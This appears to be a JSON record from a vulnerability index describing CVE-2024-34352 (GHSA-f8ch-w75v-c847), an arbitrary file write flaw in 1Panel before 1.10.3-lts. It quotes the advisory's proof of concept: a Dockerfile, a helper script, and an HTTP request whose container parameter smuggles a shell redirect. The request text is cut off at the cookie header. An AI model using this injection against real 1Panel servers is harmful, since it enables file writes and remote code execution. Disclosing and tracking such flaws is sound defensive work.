{"items":[{"id":"NVI-00018583","kind":"vulnerability","title":"1Panel arbitrary file write vulnerability","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-f8ch-w75v-c847","CVE-2024-34352"],"plain_summary":"GitHub lists this reviewed advisory for github.com/1Panel-dev/1Panel. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-4009efdb9d01a2c20106cfb93c7dcb64"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-08T15:55:35.000Z","value":"6.5 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-4009efdb9d01a2c20106cfb93c7dcb64"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-4009efdb9d01a2c20106cfb93c7dcb64","url":"https://github.com/advisories/GHSA-f8ch-w75v-c847","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-f8ch-w75v-c847","publisher":"GitHub Advisory Database","observed_at":"2026-11-07T00:52:42.537Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-4009efdb9d01a2c20106cfb93c7dcb64"],"technology":"github.com/1Panel-dev/1Panel","known_exclusions":[],"conditions_summary":"### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `>` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=","public_affected_ranges":["< 1.10.3-lts"]}],"null_published_at":"2026-11-07T07:07:39.858Z","source_updated_at":"2026-06-08T15:55:35.000Z","source_disclosed_at":"2024-05-09T15:14:24.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-07T00:52:42.537Z"}],"next_cursor":null,"snapshot_revision":"42594"}